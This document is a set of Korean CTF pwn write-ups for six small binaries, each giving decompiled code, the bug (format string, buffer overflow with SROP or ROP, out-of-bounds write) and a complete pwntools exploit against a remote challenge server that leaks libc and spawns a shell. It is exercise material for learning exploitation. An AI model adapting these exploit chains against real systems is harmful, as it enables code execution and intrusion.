64비트 ELF 바이너리가 주어진다.
libc도 주어진다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+7h] [rbp-9h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setup(argc, argv, envp);
menu();
__isoc99_scanf("%c", &v4);
if ( getchar() != '\n' )
return 0;
if ( v4 == 'Y' || v4 == 'y' )
{
communication();
return 0;
}
else
{
attack();
puts("\n\t\t UFO attack The Earth.");
return 0;
}
}
main 함수의 모습이다.
입력을 받는다.
Y나 y면 communication 함수를 호출한다.
unsigned __int64 communication()
{
char v1; // [rsp+Fh] [rbp-411h] BYREF
char buf[1032]; // [rsp+10h] [rbp-410h] BYREF
unsigned __int64 v3; // [rsp+418h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("\t\tThey want to take all the water of Earth,");
puts("\t\tWill you accept this? [Y/n]");
printf("\t\t> ");
__isoc99_scanf("%c", &v1);
if ( getchar() == '\n' )
{
if ( v1 == 'Y' || v1 == 'y' )
{
puts("\t\tThey want to take all the soil of Earth.");
puts("\t\tWill you accept this? [Y/n]");
printf("\t\t> ");
__isoc99_scanf("%c", &v1);
if ( getchar() != '\n' )
return v3 - __readfsqword(0x28u);
if ( v1 == 'Y' || v1 == 'y' )
{
puts("\t\tThey want to hear your last will.");
printf("\t\t> ");
read(0, buf, 0x400uLL);
printf(buf);
printf("\t\t> ");
read(0, buf, 0x400uLL);
printf(buf);
return v3 - __readfsqword(0x28u);
}
}
attack();
puts("\n\t\t UFO attack The Earth.");
}
return v3 - __readfsqword(0x28u);
}
communication 함수의 모습이다.
Y나 y를 입력하면 총 버퍼에 두번 입력할 수 있고, 버퍼가 다시 프린트된다.
int gift()
{
return system("/bin/sh");
}
gift 함수의 모습이다.
대놓고 준다.
취약점은 communication 함수 내부에서 터진다.
총 FSB가 두번 터지니까, 하나는 libc leak에 쓰고, 나머지 하나는 ret overwrite에 쓰면 된다.
from pwn import *
e= ELF('./UFOrmat')
libc = ELF('./libc.so.6')
#p = process('./UFOrmat',env={"LD_PRELOAD":"./libc.so.6"})
p = remote('3.35.222.217',5333)
p.sendlineafter(b'>',b'y')
p.sendlineafter(b'>',b'y')
p.sendlineafter(b'>',b'y')
def f(buf_idx,fstr):
pay = b'%'+str(8 + buf_idx).encode()+b'$' + fstr.encode()
return pay
pay = f(0x418//0x8,'p') + b' '
pay += f(0x410//0x8,'p') + b' '
pay += b'%3$p' +b' '
pay += b'\x00'
context.log_level = 'debug'
p.sendafter(b'>',pay)
p.recv()
binary_base = int(p.recvuntil(b'\x20')[:-1],16)-0x17ba
ret = int(p.recvuntil(b'\x20')[:-1],16) -0x18
libc_base = int(p.recvuntil(b'\x20')[:-1],16) - 0x114992
success('stack ret : '+hex(ret))
success('libc base : '+hex(libc_base))
success('binary base : '+hex(binary_base))
gift = binary_base + 0x00000000000124E
success('gift : '+hex(gift))
val = hex(gift).replace('0x','').rjust(8,'0')
list = []
list.append(int(val[:4],16))
list.append(int(val[4:8],16))
list.append(int(val[8:12],16))
list.sort()
for i in list:
print(hex(i))
addr = []
for i in range(len(list)):
if(list[i] == int(val[:4],16)):
addr.append(ret +4)
elif(list[i] == int(val[4:8],16)):
addr.append(ret +2)
elif(list[i] == int(val[8:12],16)):
addr.append(ret)
print(addr)
pay = b'%' + str(list[0]).encode() + b'c'
pay += b'%'+str(8 + 5).encode()+b'$hn'
pay += b'%' + str(list[1] - list[0]).encode() + b'c'
pay += b'%'+str(8 + 6).encode()+b'$hn'
pay += b'%' + str(list[2] - list[1] ).encode() + b'c'
pay += b'%'+str(8 + 7).encode()+b'$hn'
pay += b'A' * (len(pay) //8 * 8 +8 - len(pay))
print(len(pay))
pay += p64(addr[0])
pay += p64(addr[1])
pay += p64(addr[2])
print(pay)
pause()
p.sendafter(b'>',pay)
p.interactive()
길이에 따라서 달라져서 둘다 적었었는데, 다 적고나서 보니까 48과 비교하는 부분은 없애도 되는 것 같다.
32비트 바이너리가 주어진다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[8]; // [esp+0h] [ebp-8h] BYREF
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
return read(0, buf, 0x80u);
}
main 함수의 모습이다.
분석할게 없다.
void int80()
{
__asm { int 80h; LINUX - }
}
임의로 int 0x80 가젯을 준다.
i386에서 int 0x80은 x86_64의 syscall과 같은 의미를 가진다.
main 함수에서 bof를 통해 SROP를 하면 된다.
canary도 없어서 그냥 하면 된다.
eax를 컨트롤할 수 있는 가젯이 없어서 read의 리턴값이 eax에 들어간다는 점을 이용해서 익스플로잇을 하였다.
from pwn import *
e= ELF('./Superrop')
p = remote('3.39.249.11',8080)
#p = process('./Superrop')
pr = 0x08049022
ppr = 0x0804901f
pppr = 0x0804901f
syscall = 0x08049189 #int 0x80
pop_ebx = 0x08049022
leave_ret = 0x080490f5
frame = SigreturnFrame(kernel = 'i386')
frame.eax = 0xb
frame.ebx = 0x804c238
frame.eip = syscall
frame.cs = 0x23
frame.gs = 0x63
frame.es = 0x2b
frame.ds = 0x2b
frame.ss = 0x2b
frame.ebp = e.bss()+0x300
frame.esp = e.bss()+0x300
pay = b'A'*8
pay += p32(e.bss()+0x200)
pay += p32(e.plt['read'])
pay += p32(pppr)
pay += p32(0)
pay += p32(e.bss()+0x200-0x8)
pay += p32(0x300)
pay += p32(leave_ret)
p.send(pay)
pay = b'/bin/sh\x00' #e.bss()+0x198
pay += p32(e.bss()+0x200)
pay += p32(syscall)
pay += bytes(frame)
pay += b'A'*(119-len(pay))
pause()
p.send(pay)
p.interactive()
32 비트 바이너리가 주어진다.
libc도 같이 주어진다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[8]; // [esp+0h] [ebp-Ch] BYREF
int v4; // [esp+8h] [ebp-4h] BYREF
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
memset(s, 0, sizeof(s));
printf("Hi what your name? ");
read(0, s, 8u);
printf("Welcome %s", s);
memu();
while ( 1 )
{
printf("> ");
__isoc99_scanf("%d", &v4);
if ( v4 == 4 )
{
write(1, "bye..", 6u);
exit(0);
}
if ( v4 > 4 )
{
LABEL_12:
puts("try again");
}
else
{
switch ( v4 )
{
case 3:
memu();
break;
case 1:
print_name(s);
break;
case 2:
input_comment();
break;
default:
goto LABEL_12;
}
}
}
}
main 함수의 모습이다.
입력에 따라 다른 기능을 실행시킬 수 있다.
처음에 8바이트를 이름으로 입력받는다.
int __cdecl print_name(char *s)
{
int i; // [esp+0h] [ebp-4h]
for ( i = 0; s[i]; ++i )
{
if ( s[i] == '\n' )
{
s[i] = 0;
return puts(s);
}
}
return puts(s);
}
print_name 함수는 \n을 0으로 바꾸고 puts를 호출하는 함수다.
int input_comment()
{
int result; // eax
char s[18]; // [esp+2h] [ebp-12h] BYREF
memset(s, 0, sizeof(s));
result = check_value;
if ( check_value )
{
read(0, s, 52u);
return --check_value;
}
return result;
}
input_comment 함수의 모습이다.
52만큼 입력을 받는다.
.data:0804C038 public check_value
.data:0804C038 check_value dd 2 ; DATA XREF: input_comment+16↑r
.data:0804C038 ; input_comment+2F↑r ...
check_value는 global variable로 기본값이 2다.
input_command에서 bof가 터진다.
이 bof를 통해서 bss의 stdout을 leak하고 libc base를 구한다.
그리고 eip를 다시 main 쪽으로 돌리고, puts의 got를 system으로 덮고, /bin/sh를 이름으로 줘서 쉘을 호출하면 된다.
from pwn import *
e = ELF('./MemView')
libc = ELF('./libc.so.6')
p = remote('13.124.195.98',8888)
#p = process('./MemView',env={'LD_PRELOAD':"./libc.so.6"})
pr= 0x08049022
pppr = 0x080491e8
ppr = 0x080491e9
stdout = 0x804c040
back = 0x8049322
p.sendafter(b'Hi what your name? ',b'/bin/sh\x00')
p.sendlineafter(b'> ', '2')
pay = b'A'*18
pay += p32(e.bss())
pay += p32(e.plt['puts'])
pay += p32(pr)
pay += p32(stdout)
pay += p32(back)
context.log_level = 'debug'
p.send(pay)
libc_base = u32(p.recv(4)) - 0x22a620
success('libc base : '+hex(libc_base))
bin_sh = 0x1bd0f5
sys = libc_base + libc.sym['system']
p.sendlineafter(b'>','2')
pay = b'A'*18
pay += p32(e.bss())
pay += p32(e.plt['read'])
pay += p32(pppr)
pay += p32(0)
pay += p32(e.got['puts'])
pay += p32(0x20)
pay += p32(e.sym['main'])
p.send(pay)
p.send(p64(sys))
#/bin/sh 이름 다시 주고 flag 읽기
p.interactive()
32 비트 바이너리가 주어진다.
libc도 주어진다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+1h] [ebp-25h]
int v5; // [esp+2h] [ebp-24h]
int v6[8]; // [esp+6h] [ebp-20h] BYREF
v6[6] = (int)&argc;
v6[5] = __readgsdword(0x14u);
v6[0] = (int)"Michael";
v6[1] = (int)"William";
v6[2] = (int)"David";
v6[3] = (int)"Richard";
v6[4] = (int)"Joseph";
v4 = 0;
setup();
puts(" _ _ _____ _ _ ___ ");
puts(" | | | | ____| | | | / _ \\ ");
puts(" | |_| | _| | | | | | | | |");
puts(" | _ | |___| |___| |__| |_| |");
puts(" |_| |_|_____|_____|_____\\___/ ");
do
{
v5 = menu();
if ( v5 == 3 )
{
puts("bye.");
v4 = 1;
}
else
{
if ( v5 > 3 )
goto LABEL_10;
if ( v5 == 1 )
{
choice_name(v6);
continue;
}
if ( v5 == 2 )
add_name(v6);
else
LABEL_10:
puts("Invalid choice.");
}
}
while ( !v4 );
return 0;
}
main 함수의 모습이다.
setup 함수에서는 버퍼링과 타이머를 설정한다.
int __cdecl choice_name(int *a1)
{
int v2; // [esp+Ch] [ebp-Ch]
v2 = read_int("Enter idx : ");
return printf("Say hello to %s!\n", a1[v2]);
}
choice_name 함수의 모습이다.
idx를 받아서 그 idx에 해당하는 곳을 읽을 수 있다.
ssize_t __cdecl add_name(int *a1)
{
int v2; // [esp+8h] [ebp-10h]
int nbytes; // [esp+Ch] [ebp-Ch]
v2 = read_int("Enter idx : ");
nbytes = read_int("Enter length : ");
printf("Enter name : ");
return read(0, &a1[v2], nbytes);
}
add_name 함수의 모습이다.
idx를 받아서 그 idx에 해당하는 곳에 쓸 수 있다.
int gift()
{
return system("cat /flag");
}
gift 함수가 존재한다.
add_name 함수에서 OOB가 터지는데, 이걸 이용해서 ret를 gift 함수로 변조하면 된다.
from pwn import *
libc = ELF('./libc.so.6')
e= ELF('./hello')
# p = process('./hello')
p = remote('13.124.74.0',5333)
gift = e.sym['gift']
context.log_level = 'debug'
p.sendlineafter(b'Enter choice : ',b'2')
pause()
p.sendlineafter(b'Enter idx : ',b'9')
p.sendlineafter(b'Enter length : ',b'20')
p.send(b'A'*0x10 + p64(gift))
p.send('3')
p.interactive()
x86 바이너리가 주어진다.
libc도 주어졌다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3[3]; // [esp+0h] [ebp-Ch] BYREF
v3[1] = (int)&argc;
puts(" ___ __ ____ ___ ____ ");
puts(" __ _( _ ) / /_ | _ \\ / _ \\| _ \\ ");
puts(" \\ \\/ / _ \\| '_ \\ | |_) | | | | |_) |");
puts(" > < (_) | (_) | | _ <| |_| | __/ ");
puts(" /_/\\_\\___/ \\___/ |_| \\_\\\\___/|_| ");
setup();
while ( 1 )
{
menu();
printf("Enter choice : ");
__isoc99_scanf("%d", v3);
if ( v3[0] == 3 )
break;
if ( v3[0] <= 3 )
{
if ( v3[0] == 1 )
{
rop();
}
else if ( v3[0] == 2 )
{
libc_leak();
}
}
}
puts("bye.");
exit(-1);
}
main 함수의 모습이다.
2번을 통해 libc leak을 할수 있는 것으로 보인다.
int libc_leak()
{
return puts("Nope.");
}
구라쳤다.
ssize_t rop()
{
char buf[20]; // [esp+0h] [ebp-18h] BYREF
return read(0, buf, 0x200u);
}
rop 함수의 모습이다.
입력을 받는다.
rop 함수 내부에서 bof가 터진다.
그걸로 rop 하면 된다.
from pwn import *
pr = 0x080491e5
ppr = 0x080491e4
pppr = 0x080491e3
leave_ret = 0x08049145
e = ELF('./x86_rop')
libc = ELF('./libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#p = process('./x86_rop',env={'LD_PRELOAD':'./libc.so.6'})
p = remote('3.38.162.74',5333)
r = ROP(e)
p.sendlineafter(b'Enter choice :',b'2')
p.sendlineafter(b'Enter choice :',b'1')
success('bss : '+hex(e.bss()))
pay = b'A'*0x18
pay += p32(e.bss()+0x200)
pay += p32(e.plt['puts'])
pay += p32(pr)
pay += p32(e.got['read']) #read got
pay += p32(e.plt['read'])
pay += p32(pppr)
pay += p32(0)
pay += p32(e.bss()+0x200)
pay += p32(0x100)
pay += p32(leave_ret)
p.send(pay)
p.recv() #0xf7df10c0
read_got = u32(p.recvn(4))
success('read_got : '+hex(read_got))
libc_base = read_got - libc.sym['read']
success('libc_base : '+hex(libc_base))
pay = p32(e.bss()+0x200)
pay += p32(libc_base + libc.sym['execve'])
pay += p32(pppr)
pay += p32(libc_base + 0x1bd0f5)
pay += p32(0) *2
pause()
p.send(pay)
p.interactive()
x64 바이너리가 주어진다.
libc도 같이 주어진다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h] BYREF
setup();
while ( 1 )
{
menu(*(_QWORD *)&argc, argv);
printf("Enter choice : ");
argv = (const char **)&v3;
*(_QWORD *)&argc = "%d";
__isoc99_scanf("%d", &v3);
if ( v3 == 3 )
break;
if ( v3 <= 3 )
{
if ( v3 == 1 )
{
rop();
}
else if ( v3 == 2 )
{
libc_leak();
}
}
}
puts("bye.");
exit(-1);
}
main 함수의 모습이다.
x86이랑 다른게 없다.
ssize_t rop()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
return read(0, buf, 0x200uLL);
}
rop 함수의 모습이다.
x86 버전과 똑같다.
rop 함수에서 bof 똑같이 터지니 함수 호출 규약만 신경써서 익스플로잇 코드 짜면 된다.
from pwn import *
pop_rdi = 0x0000000000401203
pop_rdx = 0x0000000000401200
pop_rsi_rdi = 0x0000000000401202
leave_ret = 0x00000000004012de
e = ELF('./x64_rop')
libc = ELF('./libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#p = process('./x64_rop',env={'LD_PRELOAD':'./libc.so.6'})
p = remote('3.36.121.146',5333)
p.sendlineafter(b'Enter choice :',b'2')
p.sendlineafter(b'Enter choice :',b'1')
pay = b'A'*0x10
pay += p64(e.bss()+0x200)
pay += p64(pop_rdi)
pay += p64(0x404060) #stdout leak
pay += p64(e.plt['puts'])
pay += p64(pop_rsi_rdi)
pay += p64(e.bss()+0x200)
pay += p64(0)
pay += p64(pop_rdx)
pay += p64(0x100)
pay += p64(e.plt['read'])
pay += p64(leave_ret)
p.send(pay)
p.recv()
stdout = (u64(p.recvline()[:-1].ljust(8,b'\x00')))
success('stdout : '+hex(stdout))
success('bss : '+hex(e.bss()))
libc_base = stdout - 0x21a780
success('libc_base : '+hex(libc_base))
pay = p64(e.bss()+0x200)
pay += p64(pop_rsi_rdi)
pay += p64(0) *2
pay += p64(pop_rdx)
pay += p64(0)
pay += p64(libc_base + 0xebcf8)
pause()
p.send(pay)
p.interactive()